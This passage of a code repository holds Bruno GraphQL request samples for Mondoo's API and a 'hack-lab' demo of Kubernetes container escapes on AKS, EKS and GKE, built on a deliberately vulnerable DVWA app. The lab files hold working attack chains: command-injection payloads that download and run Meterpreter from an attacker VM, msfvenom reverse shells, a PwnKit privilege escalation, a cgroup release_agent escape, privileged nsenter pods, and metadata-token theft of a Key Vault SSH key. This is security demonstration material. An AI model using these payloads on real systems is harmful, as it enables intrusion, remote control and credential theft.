23 | > NOTE: While not technically required, it is recommended to use a organization API token with editor permissions to sure all samples work.
24 |
25 | ## CLI
26 |
27 | Follow the installation instructions[https://docs.usebruno.com/bru-cli/overview].
28 |
29 | ```
30 | bru run search/search.bru --env Mondoo
31 | ```
32 |
33 | ## APP
34 |
35 | Follow the installation instructions[https://www.usebruno.com/downloads]. Then you open the collection and run the queries.
--------------------------------------------------------------------------------
/graphql-api/Security Model/Policy- Disable.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Disable
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation DisablePolicy($assetMrn: String!, $policyMrn: String!) {
19 | unassignPolicy(input: { assetMrn: $assetMrn, policyMrn: $policyMrn })
20 | }
21 |
22 | }
23 |
24 | body:graphql:vars {
25 | {
26 | "assetMrn": "{{spaceMrn}}",
27 | "policyMrn": "//policy.api.mondoo.app/policies/mondoo-dns-security"
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/graphql-api/Security Model/Policy- Enable.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Enable
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | mutation EnablePolicy($assetMrn: String!, $policyMrn: String!) {
19 | assignPolicy(
20 | input: {
21 | assetMrn: $assetMrn
22 | policyMrn: $policyMrn
23 | action: ACTIVE
24 | }
25 | )
26 | }
27 |
28 | }
29 |
30 | body:graphql:vars {
31 | {
32 | "assetMrn": "{{spaceMrn}}",
33 | "policyMrn": "//policy.api.mondoo.app/policies/mondoo-dns-security"
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/graphql-api/Security Model/Policy- List Available.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Available
3 | type: graphql
4 | seq: 3
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | {
19 | content(
20 | input: {
21 | scopeMrn: "{{spaceMrn}}"
22 | catalogType: POLICY
23 | assignedOnly: false
24 | includePrivate: true
25 | includePublic: true
26 | }
27 | ) {
28 | totalCount
29 | edges {
30 | node {
31 | __typename
32 | ... on Policy {
33 | mrn
34 | name
35 | version
36 | summary
37 | category
38 | trustLevel
39 | }
40 | }
41 | }
42 | }
43 | }
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/graphql-api/Security Model/Policy- List Enabled.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Enabled
3 | type: graphql
4 | seq: 4
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | {
19 | content(
20 | input: { scopeMrn: "{{spaceMrn}}", catalogType: POLICY, assignedOnly: true }
21 | ) {
22 | totalCount
23 | edges {
24 | node {
25 | __typename
26 | ... on Policy {
27 | mrn
28 | name
29 | version
30 | summary
31 | category
32 | trustLevel
33 | }
34 | }
35 | }
36 | }
37 | }
38 |
39 | }
40 |
41 | body:graphql:vars {
42 | {
43 | "input" : {
44 | "spaceMrn" : "{{spaceMrn}}"
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/graphql-api/Security Model/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Security Model
3 | seq: 4
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/Status/Health Check.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Health Check
3 | type: http
4 | seq: 1
5 | }
6 |
7 | get {
8 | url: https://{{endpoint}}/Health/Check
9 | body: none
10 | auth: inherit
11 | }
12 |
--------------------------------------------------------------------------------
/graphql-api/Status/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Status
3 | seq: 8
4 | }
5 |
--------------------------------------------------------------------------------
/graphql-api/bruno.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1",
3 | "name": "Mondoo GraphQL API Requests",
4 | "type": "collection",
5 | "ignore": [
6 | "node_modules",
7 | ".git"
8 | ]
9 | }
--------------------------------------------------------------------------------
/graphql-api/environments/Mondoo.bru:
--------------------------------------------------------------------------------
1 | vars {
2 | endpoint: {{process.env.MONDOO_ENDPOINT}}
3 | spaceMrn: {{process.env.SPACE_MRN}}
4 | orgMrn: {{process.env.ORG_MRN}}
5 | MONDOO_API_TOKEN: {{process.env.MONDOO_API_TOKEN}}
6 | }
7 |
--------------------------------------------------------------------------------
/graphql-api/organization/Org- List Members.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Members
3 | type: graphql
4 | seq: 2
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query LoadOrganizationMembers {
19 | organization(mrn: "{{orgMrn}}") {
20 | id
21 | mrn
22 | members {
23 | edges {
24 | node {
25 | user {
26 | email
27 | name
28 | }
29 | roles {
30 | title
31 | }
32 | }
33 | }
34 | }
35 | }
36 | }
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/graphql-api/organization/Org- List Spaces.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: List Spaces
3 | type: graphql
4 | seq: 1
5 | }
6 |
7 | post {
8 | url: https://{{endpoint}}/query
9 | body: graphql
10 | auth: bearer
11 | }
12 |
13 | auth:bearer {
14 | token: {{MONDOO_API_TOKEN}}
15 | }
16 |
17 | body:graphql {
18 | query OrganizationOverview {
19 | organizationOverview(
20 | input: { organizationMrn: "{{orgMrn}}" }
21 | ) {
22 | organizationMrn
23 | spacesOverview {
24 | spaceMrn
25 | spaceName
26 | }
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/graphql-api/organization/folder.bru:
--------------------------------------------------------------------------------
1 | meta {
2 | name: Organization
3 | seq: 2
4 | }
5 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/README.md:
--------------------------------------------------------------------------------
1 | # Demonstrating Container Escape in Kubernetes
2 |
3 | This houses demonstration scenarios showcasing container escapes in Kubernetes environments, particularly in AKS (Azure Kubernetes Service) and EKS (Amazon Elastic Kubernetes Service). These scenarios can serve as engaging demonstrations using Mondoo.
4 |
5 | Each folder listed below contains a specific demo setup. Navigate to the corresponding README files within these folders for detailed instructions on executing each demonstration:
6 |
7 | - [aws](./aks): Contains a Terraform template for deploying an EKS Kubernetes cluster on AWS, along with a DVWA (Damn Vulnerable Web Application) container escape demo.
8 | - [azure](./azure/): Holds a Terraform template for deploying an AKS Kubernetes cluster on Azure, coupled with a DVWA container escape demo.
9 | - [gcp](./gcp): Offers a Terraform template for deploying a GKE (Google Kubernetes Engine) cluster on GCP, including a DVWA container escape demo.
10 | - [minikube](./minikube/): Presents a Terraform template for setting up a Minikube cluster with a DVWA container escape demo.
11 |
12 | The hacking demonstrations in AKS, EKS, and GKE follow the procedure below:
13 |
14 | 1. Exploit the web application through a command injection vulnerability.
15 | 2. Perform a privilege escalation to obtain root rights within the container.
16 | 3. Execute a container escape to gain a root shell on the container host.
17 |
18 | By following these steps, you can observe how potential security breaches occur and take steps to safeguard your own Kubernetes environments.
19 |
20 | 
21 |
22 | ## Contributors + Kudos
23 |
24 | - Scott Ford [scottford-io](https://github.com/scottford-io)
25 | - Yvo Vandoorn [yvovandoorn](https://github.com/yvovandoorn)
26 | - Dominik Richter [arlimus](https://github.com/arlimus)
27 | - Christoph Hartmann [chris-rock](https://github.com/chris-rock)
28 | - Patrick Münch [atomic111](https://github.com/atomic111)
29 | - Manuel Weber [mm-weber](https://github.com/mm-weber)
30 |
31 | Thanks to all of you!!
32 |
33 | ## Disclaimer
34 |
35 | This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that we (Mondoo Inc) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not Mondoo Inc's responsibility.
36 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/container-escape-service-account.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/container-escape-service-account.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/container-escape.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/container-escape.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/dvwa-deployment-no-privileged.yml:
--------------------------------------------------------------------------------
1 | # Copyright (c) Mondoo, Inc.
2 | # SPDX-License-Identifier: MPL-2.0
3 |
4 | apiVersion: apps/v1
5 | kind: Deployment
6 | metadata:
7 | name: dvwa-container-escape-via-service-account
8 | namespace: default
9 | spec:
10 | selector:
11 | matchLabels:
12 | app: dvwa-container-escape-via-service-account
13 | template:
14 | metadata:
15 | labels:
16 | app: dvwa-container-escape-via-service-account
17 | spec:
18 | containers:
19 | - name: dvwa
20 | image: docker.io/pmuench/dvwa-container-escape
21 | imagePullPolicy: IfNotPresent
22 | ports:
23 | - containerPort: 80
24 | terminationGracePeriodSeconds: 30
25 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/dvwa-deployment.yml:
--------------------------------------------------------------------------------
1 | # Copyright (c) Mondoo, Inc.
2 | # SPDX-License-Identifier: MPL-2.0
3 |
4 | apiVersion: apps/v1
5 | kind: Deployment
6 | metadata:
7 | name: dvwa-container-escape
8 | namespace: default
9 | spec:
10 | selector:
11 | matchLabels:
12 | app: dvwa-container-escape
13 | template:
14 | metadata:
15 | labels:
16 | app: dvwa-container-escape
17 | spec:
18 | containers:
19 | - name: dvwa
20 | image: docker.io/pmuench/dvwa-container-escape
21 | imagePullPolicy: IfNotPresent
22 | ports:
23 | - containerPort: 80
24 | securityContext:
25 | privileged: true
26 | terminationGracePeriodSeconds: 30
27 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/dvwa_db_reset.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/dvwa_db_reset.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/dvwa_login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/dvwa_login.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/escape-to-node.yaml:
--------------------------------------------------------------------------------
1 | # Copyright (c) Mondoo, Inc.
2 | # SPDX-License-Identifier: MPL-2.0
3 |
4 | # taken from https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges
5 | apiVersion: v1
6 | kind: Pod
7 | metadata:
8 | name: priv-and-hostpid-exec-pod
9 | namespace: default
10 | labels:
11 | app: container-escape
12 | spec:
13 | hostPID: true
14 | containers:
15 | - name: priv-and-hostpid-pod
16 | image: ubuntu
17 | tty: true
18 | securityContext:
19 | privileged: true
20 | command:
21 | [
22 | "nsenter",
23 | "--target",
24 | "1",
25 | "--mount",
26 | "--uts",
27 | "--ipc",
28 | "--net",
29 | "--pid",
30 | "--",
31 | "bash",
32 | ]
33 | #nodeName: k8s-control-plane-node
34 | # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
35 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/kali-deployment.yml:
--------------------------------------------------------------------------------
1 | # Copyright (c) Mondoo, Inc.
2 | # SPDX-License-Identifier: MPL-2.0
3 |
4 | apiVersion: apps/v1
5 | kind: Deployment
6 | metadata:
7 | name: kali-hacker
8 | namespace: default
9 | spec:
10 | selector:
11 | matchLabels:
12 | app: kali-hacker
13 | template:
14 | metadata:
15 | labels:
16 | app: kali-hacker
17 | spec:
18 | containers:
19 | - name: dvwa
20 | image: docker.io/kalilinux/kali-rolling
21 | command:
22 | [
23 | "/bin/bash",
24 | "-c",
25 | "/usr/bin/apt update -y && /usr/bin/apt install -y curl && /usr/bin/curl -vk http://:8001/met-kali -o /tmp/met && /usr/bin/chmod 777 /tmp/met && /tmp/met",
26 | ]
27 | imagePullPolicy: IfNotPresent
28 | ports:
29 | - containerPort: 80
30 | securityContext:
31 | privileged: true
32 | terminationGracePeriodSeconds: 30
33 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-aks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-aks.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-eks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-install-commands-eks.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-aks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-aks.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-eks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/container-escape/assets/mondoo-dashboard-k8s-integration-eks.png
--------------------------------------------------------------------------------
/hack-lab/container-escape/assets/rolebinding-abuse.yaml:
--------------------------------------------------------------------------------
1 | # Copyright (c) Mondoo, Inc.
2 | # SPDX-License-Identifier: MPL-2.0
3 |
4 | apiVersion: rbac.authorization.k8s.io/v1
5 | kind: RoleBinding
6 | metadata:
7 | name: abuse-role
8 | namespace: default
9 | roleRef:
10 | apiGroup: rbac.authorization.k8s.io
11 | kind: ClusterRole
12 | name: cluster-admin
13 | subjects:
14 | - namespace: default
15 | kind: ServiceAccount
16 | name: default
17 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/aws/provider.tf:
--------------------------------------------------------------------------------
1 | provider "aws" {
2 | region = var.region
3 | }
4 |
5 | provider "docker" {}
6 |
7 | provider "kubernetes" {
8 | host = module.eks.cluster_endpoint
9 | cluster_ca_certificate = base64decode(module.eks.cluster_certificate_authority_data)
10 |
11 | exec {
12 | api_version = "client.authentication.k8s.io/v1beta1"
13 | command = "aws"
14 | # This requires the awscli to be installed locally where Terraform is executed
15 | args = ["eks", "get-token", "--cluster-name", module.eks.cluster_name]
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/aws/templates/setup_metapreter:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # install all necessary tools
4 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional
5 | sudo apt install -y ca-certificates curl gnupg lsb-release
6 | sudo apt install -y nmap ruby
7 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
8 | sudo chmod 755 /tmp/msfinstall
9 | sudo /tmp/msfinstall
10 | sudo msfdb init
11 |
12 | PUBLIC_IP=$(curl http://169.254.169.254/latest/meta-data/public-ipv4)
13 | ROOT_DIR=/home/kali/container-escape
14 |
15 | mkdir -p $ROOT_DIR
16 |
17 | [ ! -f $ROOT_DIR/met-container ] && msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container
18 |
19 | [ ! -f $ROOT_DIR/met-host ] && msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host
20 |
21 | [ ! -f $ROOT_DIR/met-kali ] && msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4244 -f elf > $ROOT_DIR/met-kali
22 |
23 | [ ! -f $ROOT_DIR/msfconsole1 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1
24 |
25 | [ ! -f $ROOT_DIR/msfconsole2 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2
26 |
27 | [ ! -f $ROOT_DIR/msfconsole3 ] && echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4244;run'" > $ROOT_DIR/msfconsole3
28 |
29 | [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver
30 |
31 | chown -R kali:kali $ROOT_DIR
32 |
33 | chmod -R +x $ROOT_DIR
34 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/aws/variables.tf:
--------------------------------------------------------------------------------
1 | // VARIABLES
2 |
3 | variable "region" {
4 | default = "us-east-2"
5 | description = "AWS Region"
6 | }
7 |
8 | variable "demo_name" {
9 | description = "A name to be applied as a suffix to project resources"
10 | type = string
11 | }
12 |
13 | variable "kubernetes_version" {
14 | default = "1.21"
15 | description = "Kubernetes cluster version used with EKS"
16 | }
17 |
18 | variable "ssh_key" {
19 | description = "SSH key associated with Kali Linux instance"
20 | }
21 |
22 | variable "ssh_key_path" {
23 | default = "$HOME/.ssh/id_rsa"
24 | description = "Path to SSH key used for Kali Linux instance"
25 | }
26 |
27 | variable "publicIP" {
28 | description = "Your home PublicIP to configure access to Kali Linux (if needed)"
29 | }
30 |
31 | #variable "mondoo_credentials" {
32 | # description = "Path to config.json file. Can also create a config.json file and place it in the Terraform directory and simply set this variable to the value of 'config.json.'"
33 | #}
--------------------------------------------------------------------------------
/hack-lab/container-escape/aws/versions.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | aws = {
4 | source = "hashicorp/aws"
5 | version = "~> 4.27"
6 | }
7 |
8 | random = {
9 | source = "hashicorp/random"
10 | version = "~> 3.3.2"
11 | }
12 |
13 | local = {
14 | source = "hashicorp/local"
15 | version = "~> 2.2.3"
16 | }
17 |
18 | null = {
19 | source = "hashicorp/null"
20 | version = "~> 3.1.1"
21 | }
22 |
23 | kubernetes = {
24 | source = "hashicorp/kubernetes"
25 | version = "~> 2.13"
26 | }
27 | docker = {
28 | source = "kreuzwerker/docker"
29 | version = "~> 2.20.2"
30 | }
31 | }
32 | }
--------------------------------------------------------------------------------
/hack-lab/container-escape/azure/output.tf:
--------------------------------------------------------------------------------
1 | output "resource_group_name" {
2 | value = azurerm_resource_group.rg.name
3 | }
4 |
5 | output "public_ip_address" {
6 | value = azurerm_linux_virtual_machine.attacker_vm.public_ip_address
7 | }
8 |
9 | output "tls_private_key" {
10 | value = tls_private_key.attacker_vm_ssh.private_key_pem
11 | sensitive = true
12 | }
13 |
14 | output "summary" {
15 | value = < id_rsa
20 | ssh -o StrictHostKeyChecking=no -i id_rsa azureuser@${azurerm_linux_virtual_machine.attacker_vm.public_ip_address}
21 |
22 | export KUBECONFIG="$ {PWD}/aks-kubeconfig"
23 | kubectl apply -f ../assets/dvwa-deployment.yml
24 | kubectl port-forward $(kubectl get pods -o name) 8080:80
25 |
26 |
27 | Hacking commands:
28 |
29 | -----------------------------------dvwa-browser-----------------------------------
30 |
31 | ;curl -vk http://${azurerm_linux_virtual_machine.attacker_vm.public_ip_address}:8001/met-container -o /tmp/met
32 | ;chmod 777 /tmp/met
33 | ;/tmp/met
34 |
35 | -----------------------------------privilege-escalation---------------------------
36 |
37 | cd /tmp
38 | curl -vkO https://pwnkit.s3.amazonaws.com/priv-es
39 | chmod a+x ./priv-es
40 | ./priv-es
41 |
42 | -----------------------------------container-escape-------------------------------
43 |
44 | mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/x
45 | echo 1 > /tmp/cgrp/x/notify_on_release
46 | echo "$(sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /proc/mounts)/cmd" > /tmp/cgrp/release_agent
47 | echo '#!/bin/sh' > /cmd
48 | echo "curl -vk http://${azurerm_linux_virtual_machine.attacker_vm.public_ip_address}:8001/met-host -o /tmp/met" >> /cmd
49 | echo "chmod 777 /tmp/met" >> /cmd
50 | echo "/tmp/met" >> /cmd
51 | chmod a+x /cmd
52 | sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
53 |
54 | -----------------------------------azure key vault--------------------------------
55 |
56 | curl -s -H Metadata:true --noproxy "*" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
57 |
58 | TOKEN=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" -H "Metadata: true" | jq -r ".access_token" ) && curl -vk -s -H Metadata:true --noproxy "*" 'https://${azurerm_key_vault.keyvault.name}.vault.azure.net/secrets/private-ssh-key?api-version=2016-10-01' -H "Authorization: Bearer $TOKEN"
59 |
60 | cat key-ssh |sed 's/\\n/\n/g' > new-ssh-key
61 | chmod 600 new-ssh-key
62 |
63 | curl -4 icanhazip.com
64 | ls /home
65 |
66 | ssh -o StrictHostKeyChecking=no -i new-ssh-key ubuntu@
67 |
68 | EOT
69 | }
70 |
71 | resource "local_file" "kubeconfig" {
72 | depends_on = [azurerm_kubernetes_cluster.cluster]
73 | filename = "aks-kubeconfig"
74 | content = azurerm_kubernetes_cluster.cluster.kube_config_raw
75 | }
--------------------------------------------------------------------------------
/hack-lab/container-escape/azure/templates/prepare-hacking-vm.tpl:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | # install all necessary tools
4 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional
5 | sudo apt install -y ca-certificates curl gnupg lsb-release
6 | sudo apt install -y nmap ruby
7 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
8 | sudo chmod 755 /tmp/msfinstall
9 | sudo /tmp/msfinstall
10 | sudo msfdb init
11 |
12 | # create all metasploit stuff
13 | PUBLIC_IP=$(curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text")
14 | ROOT_DIR=/root/container-escape
15 |
16 | sudo mkdir -p $ROOT_DIR
17 |
18 | sudo [ ! -f $ROOT_DIR/met-container ] && sudo msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container
19 |
20 | sudo [ ! -f $ROOT_DIR/met-host ] && sudo msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host
21 |
22 | sudo [ ! -f $ROOT_DIR/msfconsole1 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1
23 |
24 | sudo [ ! -f $ROOT_DIR/msfconsole2 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2
25 |
26 | sudo [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver
27 |
28 | sudo chmod -R +x $ROOT_DIR
29 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/azure/variables.tf:
--------------------------------------------------------------------------------
1 | variable "resource_group_name_prefix" {
2 | default = "rg"
3 | description = "Prefix of the resource group name that's combined with a random ID so name is unique in your Azure subscription."
4 | }
5 |
6 | variable "resource_group_location" {
7 | default = "eastus"
8 | description = "Location of the resource group."
9 | }
--------------------------------------------------------------------------------
/hack-lab/container-escape/azure/versions.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | azurerm = {
4 | source = "hashicorp/azurerm"
5 | #version = "~>3.0"
6 | version = " 3.54.0"
7 | }
8 |
9 | random = {
10 | source = "hashicorp/random"
11 | version = "~> 3.1.0"
12 | }
13 |
14 | local = {
15 | source = "hashicorp/local"
16 | version = "~> 2.2.0"
17 | }
18 |
19 | null = {
20 | source = "hashicorp/null"
21 | version = "~> 3.1.0"
22 | }
23 |
24 | kubernetes = {
25 | source = "hashicorp/kubernetes"
26 | version = "~> 2.10.0"
27 | }
28 |
29 | docker = {
30 | source = "kreuzwerker/docker"
31 | version = "~> 2.16.0"
32 | }
33 | }
34 | }
35 |
36 | provider "azurerm" {
37 | features {}
38 | }
--------------------------------------------------------------------------------
/hack-lab/container-escape/gcp/outputs.tf:
--------------------------------------------------------------------------------
1 | #output "file" {
2 | # value = data.template_file.init.rendered
3 | #}
4 |
5 | output "attacker_vm_name" {
6 | value = google_compute_instance.pass-n2d-res.name
7 | }
8 |
9 | output "target_cluster_name" {
10 | value = google_container_cluster.primary.name
11 | }
12 |
13 | output "summary" {
14 | value = < /tmp/msfinstall
8 | sudo chmod 755 /tmp/msfinstall
9 | sudo /tmp/msfinstall
10 | sudo msfdb init
11 |
12 | # create all metasploit stuff
13 | PUBLIC_IP=$(curl -sf -H 'Metadata-Flavor:Google' http://metadata/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip)
14 | ROOT_DIR=/root/container-escape
15 |
16 | sudo mkdir -p $ROOT_DIR
17 |
18 | sudo [ ! -f $ROOT_DIR/met-container ] && sudo msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=$PUBLIC_IP LPORT=4242 -f elf > $ROOT_DIR/met-container
19 |
20 | sudo [ ! -f $ROOT_DIR/met-host ] && sudo msfvenom -p linux/x86/shell/reverse_tcp LHOST=$PUBLIC_IP LPORT=4243 -f elf > $ROOT_DIR/met-host
21 |
22 | sudo [ ! -f $ROOT_DIR/msfconsole1 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/meterpreter_reverse_tcp;set lhost 0.0.0.0; set lport 4242;run'" > $ROOT_DIR/msfconsole1
23 |
24 | sudo [ ! -f $ROOT_DIR/msfconsole2 ] && sudo echo "msfconsole -q -x 'use exploit/multi/handler;set payload linux/x86/shell/reverse_tcp;set lhost 0.0.0.0; set lport 4243;run'" > $ROOT_DIR/msfconsole2
25 |
26 | sudo [ ! -f $ROOT_DIR/start_ruby_webserver ] && echo "ruby -run -ehttpd . -p8001" > $ROOT_DIR/start_ruby_webserver
27 |
28 | sudo chmod -R +x $ROOT_DIR
29 |
30 | sudo [ ! -f $ROOT_DIR/pub-ip ] && echo $PUBLIC_IP > $ROOT_DIR/pub-ip
31 |
32 | # create pod-esc file
33 | sudo [ ! -f $ROOT_DIR/pod-esc01 ] && echo 'apiVersion: v1' > $ROOT_DIR/pod-esc01
34 | sudo [ ! -f $ROOT_DIR/pod-esc02 ] && echo 'kind: Pod' > $ROOT_DIR/pod-esc02
35 | sudo [ ! -f $ROOT_DIR/pod-esc03 ] && echo 'metadata:' > $ROOT_DIR/pod-esc03
36 | sudo [ ! -f $ROOT_DIR/pod-esc04 ] && echo ' name: priv-and-hostpid-exec-pod' > $ROOT_DIR/pod-esc04
37 | sudo [ ! -f $ROOT_DIR/pod-esc05 ] && echo ' namespace: default' > $ROOT_DIR/pod-esc05
38 | sudo [ ! -f $ROOT_DIR/pod-esc06 ] && echo ' labels:' > $ROOT_DIR/pod-esc06
39 | sudo [ ! -f $ROOT_DIR/pod-esc07 ] && echo ' app: container-escape' > $ROOT_DIR/pod-esc07
40 | sudo [ ! -f $ROOT_DIR/pod-esc08 ] && echo 'spec:' > $ROOT_DIR/pod-esc08
41 | sudo [ ! -f $ROOT_DIR/pod-esc09 ] && echo ' hostPID: true' > $ROOT_DIR/pod-esc09
42 | sudo [ ! -f $ROOT_DIR/pod-esc10 ] && echo ' containers:' > $ROOT_DIR/pod-esc10
43 | sudo [ ! -f $ROOT_DIR/pod-esc11 ] && echo ' - name: priv-and-hostpid-pod' > $ROOT_DIR/pod-esc11
44 | sudo [ ! -f $ROOT_DIR/pod-esc12 ] && echo ' image: ubuntu' > $ROOT_DIR/pod-esc12
45 | sudo [ ! -f $ROOT_DIR/pod-esc13 ] && echo ' tty: true' > $ROOT_DIR/pod-esc13
46 | sudo [ ! -f $ROOT_DIR/pod-esc14 ] && echo ' securityContext:' > $ROOT_DIR/pod-esc14
47 | sudo [ ! -f $ROOT_DIR/pod-esc15 ] && echo ' privileged: true' > $ROOT_DIR/pod-esc15
